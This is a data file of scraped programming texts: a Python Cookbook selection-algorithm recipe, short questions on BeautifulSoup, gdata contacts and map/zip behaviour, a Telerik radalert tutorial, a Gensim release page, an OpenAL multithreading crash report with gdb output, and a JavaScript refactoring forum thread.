text
stringlengths 256
65.5k
|
|---|
Cooking with Python, Part 1
Pages: 1, 2
Recipe 5.10: Selecting the nth Smallest Element of a Sequence
Credit: Raymond Hettinger, David Eppstein, Shane Holloway, Chris Perkins
Problem
You need to get from a sequence the nth item in rank order (e.g., the middle item, known as the median). If the sequence was sorted, you would just use seq[n]. But the sequence isn't sorted, and you wonder if you can do better than just sorting it first.
Solution
Perhaps you can do better, if the sequence is big, has been shuffled enough, and comparisons between its items are costly. Sort is very fast, but in the end (when applied to a thoroughly shuffled sequence of length n) it always takes O(nlogn) time, while there exist algorithms that can be used to get the nth smallest element in time O(n). Here is a function with a solid implementation of such an algorithm:
import random
def select(data, n):
" Find the nth rank ordered element (the least value has rank 0). "
# make a new list, deal with <0 indices, check for valid index
data = list(data)
if n<0:
n += len(data)
if not 0 <= n < len(data):
raise ValueError, "can't get rank %d out of %d" % (n, len(data))
# main loop, quicksort-like but with no need for recursion
while True:
pivot = random.choice(data)
pcount = 0
under, over = [ ], [ ]
uappend, oappend = under.append, over.append
for elem in data:
if elem < pivot:
uappend(elem)
elif elem > pivot:
oappend(elem)
else:
pcount += 1
numunder = len(under)
if n < numunder:
data = under
elif n < numunder + pcount:
return pivot
else:
data = over
n -= numunder + pcount
Related Reading
Discussion
This recipe is meant for cases in which repetitions count. For example, the median of the list [1, 1, 1, 2, 3] is 1 because that is the third one of the five items in rank order. If, for some strange reason, you want to discount duplications, you need to reduce the list to its unique items first (e.g., by applying the Recipe 18.1), after which you may want to come back to this recipe.
Input argument data can be any bounded iterable; the recipe starts by calling list on it to ensure that. The algorithm then loops, implementing at each leg a few key ideas: randomly choosing a pivot element; slicing up the list into two parts, made up of the items that are "under" and "over" the pivot respectively; continuing work for the next leg on just one of the two parts, since we can tell which one of them the nth element will be in, and the other part can safely be ignored. The ideas are very close to that in the classic algorithm known as quicksort (except that quicksort cannot ignore either part, and thus must use recursion, or recursion-removal techniques such as keeping an explicit stack, to make sure it deals with both parts).
The random choice of pivot makes the algorithm robust against unfavorable data orderings (the kind that wreak havoc with naive quicksort); this implementation decision costs about log2N calls to random.choice. Another implementation issue worth pointing out is that the recipe counts the number of occurrences of the pivot: this precaution ensures good performance even in the anomalous case where data contains a high number of repetitions of identical values.
Extracting the bound methods .append of lists under and over as local variables uappend and oappend may look like a pointless, if tiny, complication, but it is, in fact, a very important optimization technique in Python. To keep the compiler simple, straightforward, unsurprising, and robust, Python does not hoist constant computations out of loops, nor does it "cache" the results of method lookup. If you call under.append and over.append in the inner loop, you pay the cost of lookup each and every time. If you want something hoisted, hoist it yourself. When you're considering an optimization, you should always measure the code's performance with and without that optimization, to check that the optimization does indeed make an important difference. According to my measurements, removing this single optimization slows performance down by about 50% for the typical task of picking the 5000th item of range(10000). Considering the tiny amount of complication involved, a difference of 50% is well worth it.
A natural idea for optimization, which just didn't make the grade once carefully measured, is to call cmp(elem, pivot) in the loop body, rather than making separate tests for elem < pivot and elem > pivot. Unfortunately, measurement shows that cmp doesn't speed things up; in fact, it slows them down, at least when the items of data are of elementary types such as numbers and strings.
So, how does select's performance compare with the simpler alternative of:
def selsor(data, n):
data = list(data)
data.sort( )
return data[n]
On thoroughly shuffled lists of 3,001 integers on my machine, this recipe's select takes about 16 milliseconds to find the median, while selsor takes about 13 milliseconds; considering that sort could take advantage of any partial sortedness in the data, for this kind of length, and on elementary data whose comparisons are fast, it's not to your advantage to use select. For a length of 30,001, performance becomes very close between the two approaches—around 170 milliseconds either way. When you push the length all the way to 300,001, select provides an advantage, finding the median in about 2.2 seconds, while selsor takes about 2.5.
The break-even point will be smaller if the items in the sequence have costly comparison methods, since the key difference between the two approaches is in the number of comparisons performed--select takes O(n), selsor takes O(n log n). For example, say we need to compare instances of a class designed for somewhat costly comparisons (simulating four-dimensional points that will often coincide on the first few dimensions):
class X(object):
def _ _init_ _(self):
self.a = self.b = self.c = 23.51
self.d = random.random( )
def _dats(self):
return self.a, self.b, self.c, self.d
def _ _cmp_ _(self, oth):
return cmp(self._dats, oth._dats)
Here, select already becomes faster than selsor when what we're computing is the median of vectors of 201 such instances.
In other words, although select has more general overhead, when compared to the wondrously efficient coding of lists' sort method, nevertheless, if n is large enough and each comparison is costly enough, select is still well worth considering.
See Also
Library Reference and Python in a Nutshell docs about method sort of type list, and about module random.
View catalog information for Python Cookbook, Second Edition
Return to Python DevCenter.
|
I am trying to pull some financial data for city governments using BeautifulSoup (had to convert the files from pdf). I just want to get the data as a csv file and then I'll analyze it in Excel or SAS. My problem is that I do not want to print the "& nbsp;" that is in the original HTML, just the numbers and the row heading. Any suggestions on how I can do this without using regex?
Below is a sample of the html I am looking at. Next is my code (currently just in proof of concept mode, need to prove I can get clean data before moving on). New to Python and programming so any help is appreciated.
<TD class="td1629">Investments (Note 2)</TD>
<TD class="td1605"> </TD>
<TD class="td479"> </TD>
<TD class="td1639">-</TD>
<TD class="td386"> </TD>
<TD class="td116"> </TD>
<TD class="td1634">2,207,592</TD>
<TD class="td479"> </TD>
<TD class="td1605"> </TD>
<TD class="td1580">2,207,592</TD>
<TD class="td301"> </TD>
<TD class="td388"> </TD>
<TD class="td1637">2,882,018</TD>
CODE
import htmllib
import urllib
import urllib2
import re
from BeautifulSoup import BeautifulSoup
CAFR = open("C:/Users/snown/Documents/CAFR2004 BFS Statement of Net Assets.html", "r")
soup = BeautifulSoup(CAFR)
assets_table = soup.find(True, id="page_27").find(True, id="id_1").find('table')
rows = assets_table.findAll('tr')
for tr in rows:
cols = tr.findAll('td')
for td in cols:
text = ''.join(td.find(text=True))
print text+"|",
print
|
trying to add a contactbelow is sample code from apiwhere can i get all the valid fields like organization etc and some sample python code for that?
new_contact = gdata.contacts.ContactEntry(title=atom.Title(text=name))
new_contact.content = atom.Content(text=notes)
# Create a work email address for the contact and use as primary.
new_contact.email.append(gdata.contacts.Email(address=primary_email,
primary='true', rel=gdata.contacts.REL_WORK))
# Add extended properties to add data which is used in your application.
new_contact.extended_property.append(gdata.ExtendedProperty(
name='favourite flower', value='daisy'))
sports_property = gdata.ExtendedProperty(name='sports')
sports_property.SetXmlBlob('<dance><salsa/><ballroom_dancing/></dance>')
new_contact.extended_property.append(sports_property)
# Send the contact data to the server.
contact_entry = gd_client.CreateContact(new_contact)
|
Please follow the below steps to achieve the radalert functionality from the client side:
Step 1: Markup.
On your web page please include an instance of RadWindowManager. Without this radalert, radconfirm or radprompt wont work. This is the backbone of this feature. Here is the code snippet:
<telerik:RadWindowManager ID="RadWindowManager1"
runat="server" EnableShadow="true">
</telerik:RadWindowManager>
Next place a normal button and handle its onclick event. Here is the code snippet:
<button style="width: 150px;"
onclick="radalert('Radalert is called from the client!',
330, 100,
'Client RadAlert',
alertCallBackFn, imgUrl); return false;">
radalert from client</button>
notice the callback for the radlalert named "alertCallBackFn". We will code that function in next section. Also note the use of the variable imgUrl variable. This defines the image to be used in the radalert. We will see what it does in the next section.
Step 2: Javscript
The radalert needs a image to be shown as part of the alert window. Declare a global variable by name "imgUrl" as below:
//use custom image in the alert box
var imgUrl = "http://www.telerik.com/favicon.ico";
//do not show any image in the alert box
imgUrl = "";
//uses the default image in the alert box
imgUrl = null;
Then create the radalert call back function as below:
function alertCallBackFn(arg) {
radalert("<strong>radalert</strong> returned the following result: <h3 style='color: #ff0000;'>" + arg + "</h3>", null, null, "Result");
}
Now when you click on the radalert button, you will see the alert box being shown with your text.
Hope this was the solution you were looking for.
Lohith (Tech Evangelist, Telerik India)
|
Description:
Gensim - Python Framework for Vector Space Modelling
Gensim is a Python library for
Vector Space Modellingwith very large corpora. Target audience is theNatural Language Processing(NLP) community.
Features
all algorithms are memory-independentw.r.t. the corpus size (can process input larger than RAM)
simple interfaces(thinkjava... then think again):
easy to plug in your own input corpus/datastream (simple streaming API)
easy to extend with other Vector Space algorithms (simple transformation API)
efficient streaming implementations of popular algorithms, such as online Latent Semantic Analysis,Latent Dirichlet AllocationorRandom Projections
can run Latent Semantic Analysis on a cluster of computers (distributed computing)
extensive documentation and tutorials
Reference example
>>> from gensim import corpora, models, similarities
>>>
>>> # load corpus iterator from a Matrix Market file on disk
>>> corpus = corpora.MmCorpus('/path/to/corpus.mm')
>>>
>>> # initialize a transformation (Latent Semantic Indexing with 200 latent dimensions)
>>> lsi = models.LsiModel(corpus, numTopics=200)
>>>
>>> # convert the same corpus to latent space and index it
>>> index = similarities.MatrixSimilarity(lsi[corpus])
>>>
>>> # perform similarity query of another vector in LSI space against the whole corpus
>>> sims = index[query]
all algorithms are
Changes to previous version:
improved Latent Semantic Analysis (incremental SVD) performance: factorizing the English Wikipedia (3.1m documents, 400 factors) now takes 14heven in serial mode (i.e., on a single computer)
several minor optimizations and bug fixes
improved Latent Semantic Analysis (incremental SVD) performance:
Other available revisons
VersionChangelogDate 0.8.6
added the "hashing trick" (by Homer Strong)
support for adding target classes in SVMlight format (by Corrado Monti)
fixed problems with global lemmatizer object when running in parallel on Windows
parallelization of Wikipedia processing + added script version that lemmatizes the input documents
added class method to initialize Dictionary from an existing corpus (by Marko Burjek)
December 9, 2012, 13:15:16 0.8.5 July 22, 2012, 23:42:28 0.8.0 June 21, 2011, 01:20:53 0.7.8
optimizations to Latent Dirichlet Allocation(online LDA): 100 topics on the English Wikipedia (3.2M documents, 100K features, 0.5G non-zeros) now take 11h on a laptop.
optimizations to Latent Semantic Analysis(single pass SVD): 400 factors on the English Wikipedia take 5.25h.
distributed LDA and LSA over a cluster of machines.
moved code to github, opened discussion group on Google groups
March 29, 2011, 09:06:23 0.7.7
optimizations to Latent Dirichlet Allocation(online LDA): 100 topics on the English Wikipedia (3.2M documents, 100K features, 0.5G non-zeros) now take 11h on a laptop.
optimizations to Latent Semantic Analysis(single pass SVD): 400 factors on the English Wikipedia take 5.25h.
distributed LDA and LSA over a cluster of machines.
February 14, 2011, 05:26:25 0.7.5
optimizations to the single pass SVD algorithm: 400 factors on the English Wikipedia (3.2M documents, 100K features, 0.5G non-zeros) now take 5.25hon a standard laptop.
experiments comparing the one-pass algo with Halko et al.'s fast stochastic multi-pass SVD.
November 3, 2010, 16:58:21 0.7.3
added out-of-core stochastic SVD: getting the top 400 factors from the English Wikipedia (3.2M documents, 100K features, 0.5G non-zeros) now takes 2.5hon a standard laptop.
September 7, 2010, 17:23:28 0.7.1
improved Latent Semantic Analysis (incremental SVD) performance: factorizing the English Wikipedia (3.1m documents, 400 factors) now takes 14heven in serial mode (i.e., on a single computer)
several minor optimizations and bug fixes
August 28, 2010, 07:34:56 0.7.0
improved Latent Semantic Analysis (incremental SVD) performance: factorizing the English Wikipedia (3.1m documents) now takes 14h even in serial mode (i.e., on a single computer)
several minor optimizations and bug fixes
August 28, 2010, 05:58:31
Comments
No one has posted any comments yet. Perhaps you'd like to be the first?
Leave a comment
You must be logged in to post comments.
|
I just want to add the following:
With multiple iterables, the iterator stops when the shortest iterable is exhausted [ https://docs.python.org/3.4/library/functions.html#map ]
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
>>> list(map(lambda a, b: [a, b], [1, 2, 3], ['a', 'b']))
[[1, 'a'], [2, 'b'], [3, None]]
Python 3.4.0 (default, Apr 11 2014, 13:05:11)
>>> list(map(lambda a, b: [a, b], [1, 2, 3], ['a', 'b']))
[[1, 'a'], [2, 'b']]
That difference makes the answer about simple wrapping with list(...) not completely correct
The same could be achieved with:
>>> import itertools
>>> [[a, b] for a, b in itertools.zip_longest([1, 2, 3], ['a', 'b'])]
[[1, 'a'], [2, 'b'], [3, None]]
|
Hello. This is my first post so I hope I don't mess it up too bad .
I'm working on the audio code for a language called Unicon and am having some trouble getting the linux code to work properly with threading and playing more than one sound at a time. We are using openAL and OggVorbis for now with some support for MP3 through libSMPEG. I can get the code to work with one sound at a time, however, when I try to play multiple sounds at the same time I get spurrious errors.
I tried to debug it with valgrind and electric fence and all I can get is a smoking gun comming from a call to alGetSourceiv(), though I don't call it in my code. I am using a struct to hold the sources and some of the information related to the OggVorb. Below is my code. Any help would be much appreciated
/* Struct to hold sources as well as ogg info and buffers */
struct sSources
{
ALuint source;
int inUse;
ALuint buffer[4];
struct OggVorbis_File oggStream;
ALenum format;
struct vorbis_info *vorbisInfo;
};
/* Sets up array of structs for a set number of sources */
struct sSources arraySource[16];
int isPlaying = -1;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
/* Using this to make sure I'm not using a buffer or source already in use */
int GetIndex()
{
int i;
for(i = 0; i < 16; ++i)
if(arraySource[i].inUse == 0)
{
arraySource[i].inUse += 1;
pthread_mutex_unlock(&mutex);
return i;
}
return -1;
}
...
/* Size of buffers */
#define DATABUFSIZE (4096 * 8)
/* Reads in the data to the buffers */
int OggStreamBuf(ALuint buffer, int index)
{
char pcm[DATABUFSIZE];
int size;
int section;
int result;
int active;
size = 0;
while(size < DATABUFSIZE)
{
result = ov_read(&arraySource[index].oggStream, pcm + size,
DATABUFSIZE - size, 0, 2, 1,
§ion);
if(result > 0)
size += result;
else
if(result < 0)
{
printf("bad juju\n"); fflush(stdout);
return -1;
}/* TODO: throw actual error and handle */
else
break;
}
if(size == 0)
active = 1;
else
active = 0;
alBufferData(buffer, arraySource[index].format, pcm, size,
arraySource[index].vorbisInfo->rate);
return active;
}
/* Checks to see if the buffers need to be rebuffered */
int OggPlayback(int index)
{
ALenum state;
alGetSourcei(arraySource[index].source, AL_SOURCE_STATE, &state);
if(state == AL_PLAYING)
return 0;
if(OggStreamBuf(arraySource[index].buffer[0], index) == 1)
return 1;
if(OggStreamBuf(arraySource[index].buffer[1], index) == 1)
return 1;
if(OggStreamBuf(arraySource[index].buffer[2], index) == 1)
return 1;
if(OggStreamBuf(arraySource[index].buffer[3], index) == 1)
return 1;
alSourceQueueBuffers(arraySource[index].source, 4, arraySource[index].buffer);
alSourcePlay(arraySource[index].source);
return 0;
}
/* Checks if the buffers have been processed and need to be rebuffered */
int OggUpdate(int index)
{
int processed;
int active = 0;
alGetSourcei(arraySource[index].source, AL_BUFFERS_PROCESSED,
&processed);
while(processed--)
{
ALuint buffer;
alSourceUnqueueBuffers(arraySource[index].source, 1, &buffer);
active = OggStreamBuf(buffer, index);
alSourceQueueBuffers(arraySource[index].source, 1, &buffer);
}
return active;
}
/* Cleans things up on an exit */
void OggExit(int index)
{
pthread_mutex_lock(&mutex);
isPlaying -= 1;
alSourceStop(arraySource[index].source);
alDeleteSources(1, &arraySource[index].source);
alDeleteBuffers(4, arraySource[index].buffer);
ov_clear(&arraySource[index].oggStream);
arraySource[index].inUse -= 1;
if(isPlaying == 0)
{
alutExit();
}
pthread_mutex_unlock(&mutex);
}
/* Threaded function to handle .ogg files */
void * OpenAL_PlayOgg( void * args )
{
int index;
pthread_mutex_lock(&mutex);
index = GetIndex();
pthread_mutex_unlock(&mutex);
if((ov_fopen((char *) args, &arraySource[index].oggStream) < 0))
{
pthread_mutex_lock(&mutex);
isPlaying -= 1;
arraySource[index].inUse -= 1;
if(isPlaying == 0)
alutExit();
pthread_mutex_unlock(&mutex);
return NULL;
}
arraySource[index].vorbisInfo = ov_info(&arraySource[index].oggStream, -1);
if(arraySource[index].vorbisInfo->channels == 1)
arraySource[index].format = AL_FORMAT_MONO16;
else
arraySource[index].format = AL_FORMAT_STEREO16;
alGenSources(1, &arraySource[index].source);
alGenBuffers(4, arraySource[index].buffer);
alSource3f(arraySource[index].source, AL_POSITION, 0.0, 0.0, 0.0);
alSource3f(arraySource[index].source, AL_VELOCITY, 0.0, 0.0, 0.0);
alSource3f(arraySource[index].source, AL_DIRECTION, 0.0, 0.0, 0.0);
alSourcef(arraySource[index].source, AL_ROLLOFF_FACTOR, 0.0);
alSourcei(arraySource[index].source, AL_SOURCE_RELATIVE, AL_TRUE);
/* Set up buffers and sources... not 100% sure about calling Gen and Destroy
* on the sources... */
if (OggPlayback(index) == 1)
{
OggExit(index);
return NULL;
}
while(OggUpdate(index) == 0)
{
if(OggPlayback(index) == 1)
{
OggExit(index);
return NULL;
}
}
OggExit(index);
return NULL;
}
...
/* starts here*/
void StartAudioThread(char filename[])
{
int i;
char *sp;
pthread_t AudioThread;
pthread_mutex_lock(&mutex);
if (isPlaying == -1) /* initialzation */
{
for(i = 0; i < 16; ++i)
arraySource[i].inUse = 0;
isPlaying = 0;
}
if (isPlaying == 0) /* sets up openAL if nothing is already playing */
alutInit(NULL, NULL);
isPlaying += 1;
pthread_mutex_unlock(&mutex);
if((sp = strstr(filename,".ogg")) != NULL){
#if defined(HAVE_LIBOGG)
#ifndef WIN32
if ( pthread_create( &AudioThread, NULL, OpenAL_PlayOgg , filename) ) {
return;
}
return;
...
@ghollingshead
I can get the code to work with one sound at a time, however, when I try to play multiple sounds at the same time I get spurrious errors.
If you wouldn't mind (for my own curiosity), would you mind posting the errors (as long as there isn't \~100)?
Sure thing. I've also added a line to print out what index I am in and what source I'm using It is as follows:
printf("index is %i and playing %i on source %i\n", indexSource, isPlaying, (int)arraySource[indexSource].source); fflush(stdout);
I've done a couple tests and noted that it seems to be able to play one sound nearly continuously, though with the spurious errors it's hard to say that for certain. Also, after an hour of testing, I couldn't get the alGetSourceiv() to come up on gdb again. The following are gdb runs of the code:
index is 11 and playing 15 on source 16441
[Thread 0x988d5b90 (LWP 10018) exited]
index is 14 and playing 15 on source 16442
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x978d3b90 (LWP 10020)]
0xb7bfea39 in alBufferData () from /usr/lib/libopenal.so.0
(gdb) where
#0 0xb7bfea39 in alBufferData () from /usr/lib/libopenal.so.0
#1 0xb3248fe8 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
And another...:
[New Thread 0x9f610b90 (LWP 10149)]
index is 12 and playing 13 on source 16413
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa2616b90 (LWP 10143)]
0xb7c2ba39 in alBufferData () from /usr/lib/libopenal.so.0
(gdb) where
#0 0xb7c2ba39 in alBufferData () from /usr/lib/libopenal.so.0
#1 0xb3275fe8 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
And...:
[New Thread 0x72b90b90 (LWP 10596)]
index is 3 and playing 11 on source 16502
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb200cb90 (LWP 10478)]
0xb7d0f638 in ?? () from /usr/lib/libopenal.so.0
(gdb) where
#0 0xb7d0f638 in ?? () from /usr/lib/libopenal.so.0
(gdb) info threads
120 Thread 0x72b90b90 (LWP 10596) 0xb807c704 in memalign () from /usr/lib/libefence.so.0
119 Thread 0x73391b90 (LWP 10595) 0xb7c4a16f in vorbis_book_decodevv_add () from /usr/lib/libvorbis.so.0
118 Thread 0x73b92b90 (LWP 10594) 0xb7d259bc in ?? () from /usr/lib/libopenal.so.0
117 Thread 0x74393b90 (LWP 10593) 0xb7b079a0 in ?? () from /lib/libc.so.6
116 Thread 0x74b94b90 (LWP 10592) 0xb7b079a0 in ?? () from /lib/libc.so.6
115 Thread 0x75395b90 (LWP 10591) 0xb7d1396a in ?? () from /usr/lib/libopenal.so.0
114 Thread 0x75b96b90 (LWP 10590) 0xb7b079a0 in ?? () from /lib/libc.so.6
113 Thread 0x76397b90 (LWP 10589) 0xb7d12286 in alGetSourceiv () from /usr/lib/libopenal.so.0
112 Thread 0x76b98b90 (LWP 10588) 0xb7d1397a in ?? () from /usr/lib/libopenal.so.0
111 Thread 0x77399b90 (LWP 10587) 0xffffe430 in __kernel_vsyscall ()
110 Thread 0x77b9ab90 (LWP 10586) 0xb7d13940 in ?? () from /usr/lib/libopenal.so.0
109 Thread 0x7839bb90 (LWP 10585) 0xffffe430 in __kernel_vsyscall ()
* 2 Thread 0xb200cb90 (LWP 10478) 0xb7d0f638 in ?? () from /usr/lib/libopenal.so.0
1 Thread 0xb6aea6f0 (LWP 10475) 0xffffe430 in __kernel_vsyscall ()
warning: Couldn't restore frame in current thread, at frame 0
0xb7d0f638 in ?? () from /usr/lib/libopenal.so.0
Finally...:
[New Thread 0x1c9adb90 (LWP 11585)]
index is 9 and playing 15 on source 16673
index is 4 and playing 15 on source 16674
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb1fd4b90 (LWP 11289)]
0xb7cddbd0 in ?? () from /usr/lib/libopenal.so.0
(gdb) where
#0 0xb7cddbd0 in ?? () from /usr/lib/libopenal.so.0
#1 0xd761d761 in ?? ()
Cannot access memory at address 0xdb8adb8e
(gdb) info threads
292 Thread 0x1c9adb90 (LWP 11585) 0xb7c13930 in vorbis_book_init_decode () from /usr/lib/libvorbis.so.0
291 Thread 0x1d1aeb90 (LWP 11584) 0xffffe430 in __kernel_vsyscall ()
290 Thread 0x1d9afb90 (LWP 11583) 0xffffe430 in __kernel_vsyscall ()
289 Thread 0x1e6b0b90 (LWP 11582) 0xb7cdb940 in ?? () from /usr/lib/libopenal.so.0
288 Thread 0x1eeb1b90 (LWP 11581) 0xb7cda16d in alGetSourceiv () from /usr/lib/libopenal.so.0
287 Thread 0x1f7b2b90 (LWP 11580) 0xffffe430 in __kernel_vsyscall ()
286 Thread 0x1ffb3b90 (LWP 11579) 0xb7cdb934 in ?? () from /usr/lib/libopenal.so.0
285 Thread 0x207b4b90 (LWP 11578) 0xb7cdb97a in ?? () from /usr/lib/libopenal.so.0
284 Thread 0x210b5b90 (LWP 11577) 0xb7ced983 in ?? () from /usr/lib/libopenal.so.0
283 Thread 0x218b6b90 (LWP 11576) 0xb7cda860 in alGetSourcei () from /usr/lib/libopenal.so.0
282 Thread 0x220b7b90 (LWP 11575) 0x080fd90a in OggUpdate (index=11) at raudio.r:599
281 Thread 0x228b8b90 (LWP 11574) 0xb7ced983 in ?? () from /usr/lib/libopenal.so.0
280 Thread 0x230b9b90 (LWP 11573) 0xb7cda10f in alGetSourceiv () from /usr/lib/libopenal.so.0
279 Thread 0x238bab90 (LWP 11572) 0xffffe430 in __kernel_vsyscall ()
278 Thread 0x240bbb90 (LWP 11571) 0xb8044469 in free () from /usr/lib/libefence.so.0
* 2 Thread 0xb1fd4b90 (LWP 11289) 0xb7cddbd0 in ?? () from /usr/lib/libopenal.so.0
1 Thread 0xb6ab26f0 (LWP 11288) 0xffffe430 in __kernel_vsyscall ()
(gdb)
If you are interested in the actual unicon code it is:
while read() ~== "a" do PlayAudio("opendoor.ogg")
|
JavaScript
paul_wilkins — 2013-04-26T23:39:48-04:00 — #1
While watching Nicholas Zakas' Maintainable JavaScript talk at the Fluent 2012 conference, there was a very informative section in there about keeping JavaScript separate from the HTML, and other similar concerns of separation.
You can see it from the 25:40 section of the video.
pullo — 2013-04-27T08:26:40-04:00 — #2
Hi Paul,
Thanks for posting the link to that talk. I was reminded of a lot of things that I should be doing more often
I do however have one question:
At 27:02 in the video, he tells us to "Keep your HTML out of JavaScript", citing the reason that if there is something wrong with the layout, you shouldn't have to find the problem in a JS file.
E.g. this is bad:
var element = document.getElementById("container");
element.innerHTML = "<div class=\\"popup\\"></div>"
By way of a solution he proposes using some form of template (e.g. [Moustache or [URL="http://handlebarsjs.com/"]Handlebars](http://mustache.github.io/)), or pulling back markup from the server and injecting it into the page.
So far, so good, right?
Well, the other day I saw you post this code, with which you can generate random numbers for a lottery.
I noticed that if you pick nine or more numbers, the numbers overflow their container. So, I thought I'd change the markup and make the box expand to fit the numbers.
As you might already guess, I couldn't find the markup in the HTML section of the fiddle, but instead found it buried deep in the JS. I had a quick play with it, but soon gave up owing to the confusing nature of the escaped backslashes, the inline CSS and the string concatenation.
container.innerHTML = '<div id="container' + idx + '" style="' + 'position:relative;' + 'width:160px;height:50px;' + 'font-family:verdana,arial,sans-serif;' + 'font-size:12px;' + 'color:#000000;' + 'background-color:#fffff0;' + 'text-align:center;' + 'border : 1px solid #000000">' + '<input type="button" id="play' + idx + '"' + 'value="' + buttonText + '" style="margin:5px">' + '<div id="result' + idx + '" style="' + 'width:150px;' + 'font-family:verdana,arial,sans-serif;' + 'font-size:12px;' + 'color:#000000">' + initialText + '<\\/div><\\/div>';
document.body.appendChild(container);
I know this code was only intended to demonstrate a specific functionality, but this got me to wondering, how we might apply what Nicholas Zakas tells us in his talk.
I would be interested in your thoughts on this.
paul_wilkins — 2013-04-27T08:35:12-04:00 — #3
Removing the CSS from the JavaScript that's intended to be HTML, would be a good first step to things.
Then, the remaining HTML could be placed in to the web page as hidden content, or in to a template file of some kind for later use.
How do you feel about refactoring that code, as an example of how to apply such better practices?
pullo — 2013-04-27T09:30:01-04:00 — #4
Sure!
Ok, I've done this: http://jsfiddle.net/hibbard_eu/8R42e/
As you can see, I've created a template div element, which I've hidden using CSS.
I can then clone this with JS and manipulate it as required before inserting it into the page.
The code could probably do with some refactoring, but does this seem like a good start?
I've also used classes for the styling, as the dynamically generated elements are assigned varying ids, e.g.
container.innerHTML = '<div id="container' + idx + ...
jeff_mott — 2013-04-27T17:28:16-04:00 — #5
Here's an interesting trick that gets used far less often than it should.
<script id="list-template" type="text/x-handlebars-template">
<p>YUI is brought to you by:</p>
<ul>
{{#items}}
<li><a href="{{url}}">{{name}}</a></li>
{{/items}}
</ul>
</script>
This way, your markup stays in your HTML files; there's no need for any backslash escaping; and the browser won't render this template because it's wrapped in a script tag.
Then somewhere in your JavaScript (this uses YUI, but you get the gist):
// Extract the template string and compile it into a reusable function.
var template = Y.Handlebars.compile(Y.one('#list-template').getHTML());
// Render the template to HTML using the specified data.
var html = template({
items: [
{name: 'pie', url: 'http://pieisgood.org/'},
{name: 'mountain dew', url: 'http://www.mountaindew.com/'},
{name: 'kittens', url: 'http://www.flickr.com/search/?q=kittens'},
{name: 'rainbows', url: 'http://www.youtube.com/watch?v=OQSNhk5ICTI'}
]
});
paul_wilkins — 2013-04-27T18:45:11-04:00 — #6
Yes, that's a good start.
The following can be removed entirely:
template.style.display = 'block';
because it is only the template section that is hidden. When it's copied out using cloneNode and renamed, it's no longer hidden.
The template doesn't need to be appended to the page immediately after it has been read too.
container.innerHTML = '';
var template = document.getElementById('template').cloneNode(true);
container.appendChild(template);
template.id = "container" + idx;
template.className = "container";
Instead, changes are better off being made before it has been added to the page, which helps to avoid performance issues too.
var template = document.getElementById('template').cloneNode(true);
template.id = "container" + idx;
template.className = "container";
...
container.appendChild(template);
There's not much performance-wise to currently worry about, but I plan to take that appendChild down below the element updates and the event attachments.
The section with the roll button can be updated now.
var button = template.getElementsByTagName("input")[0];
button.id = "play" + idx;
button.value = buttonText;
...
var controlButton = document.getElementById("play" + idx);
if (window.addEventListener) {
controlButton.addEventListener("click", justOnce, false);
} else if (window.attachEvent) {
controlButton.attachEvent("onclick", justOnce);
}
The button variable can be renamed to something a but more expressive, to playButton.
And that event code is too complex for its own good. We can either move the cross-compatibility addEvent code out to a separate function, or we can use a more simple convention instead. Let's go with the simple and use onclick.
We can also entirely get rid of the controlButton variable too.
var playButton = template.getElementsByTagName("input")[0];
playButton.id = "play" + idx;
playButton.value = buttonText;
playButton.onclick = justOnce;
That's much better.
There's a minor conflict after that in the justOnce function because it is expecting the controlButton global variable, but that's easily fixed, by using the this keyword instead.
And why is the b variable there in the justOnce function? Normally it would be evt or some other similar event keyword, but the variable is not used at all in this function, so that variable can be removed too.
Before:
function justOnce(b) {
controlButton.blur();
...
}
After:
function justOnce() {
var button = this;
button.blur();
...
}
After these changes, we now are left with a structure where the template is obtained, changes are made to the content of that template, and at the end of things the template is placed inside of the container.
function lotto() {
// functions
...
var container = document.getElementById('container');
// updates to the template
...
container.innerHTML = '';
appendChild(template);
}
Now because I'm lazy developer, I'm going to have JSLint help me with tidying up the rest of this code, which results in the following code: http://jsfiddle.net/pmw57/8R42e/15/
Now that the code is structured and safe, there are many other improvements that should be made to it as well.
The large list of variables means that we should break the main lotto function up in to separate parts
I want to create a single global lotto object, which we can use to initialize button text values and to act as the single interface for our script
The numsort function can be much simpler, and achieve the same job
Most of the code should be broken up in to separate functions, dedicated to just one task
And the list of improvements goes on
paul_wilkins — 2013-04-27T19:42:22-04:00 — #7
I have to head off, but as something to look forward to, here's what the roll function looks like after having made a few improvements:
function roll(button) {
if (!validateRollingOptions(opts.pick, opts.from, opts.to)) {
return false;
}
var draw = drawNumbers(opts.pick, opts.from, opts.to);
draw.sort(numericSort);
updateResult(draw.join(' '));
setupNextRoll({
target: button,
totalRolls: opts.totalRolls,
rollDelay: opts.rollDelay,
callback: roll
});
}
pullo — 2013-04-28T16:49:50-04:00 — #8
Thanks for pointing that out, Jeff.
I've been wanting to have a look at Handlebars for a while now (along with so much other cool stuff - where does the time go??).
Maybe when we've worked through refactoring the code here, it would be possible to convert it to use Handlebars (and/or Moustache) as a final step.
pullo — 2013-04-28T17:16:46-04:00 — #9
Hi Paul,
I've just finished reading through your first refactoring of the code.
Thank you very much for this, as writing maintainable code, which reflects current best practices is definitely something I could be better at. It is certainly very educational to see how somebody else would go about things.
I should also get into the habit of using JS lint more often. I also ran the code through it so that I could better comprehend your final Fiddle and was quite surprised at the amount of warnings it spat out.
Most of them were logical really, but these are all things which can potentially make your code less error prone in the long run.
Allow me:
function numsort(n1, n2) {
return (n1 - n2);
}
var draw = [19, 32, 18, 36, 4, 43, 5] ;
console.log(draw.sort(numsort));
// [4, 5, 18, 19, 32, 36, 43]
I am looking forward to the second instalment. Things look as though they are shaping up quite nicely.
paul_wilkins — 2013-04-28T20:28:47-04:00 — #10
Thanks.
Going through the code at http://jsfiddle.net/pmw57/8R42e/15/ there are more issues with it that was dealing with now.
It is tempting to define a global object for the code, by that is not required yet at this stage
the "choose your lottery format" piece needs to be moved out as configuration options
the configuration options will need to be provided through a global object for the code, so we now have a good reason to define the code as a global object
the playing variable can be renamed to something a bit more expressive, such as isRolling
timer doesn't seem to be needed, as we are not stopping the timed event at any stage
counter is for the number of times the numbers are rolled, which should be moved out to a configurable options object
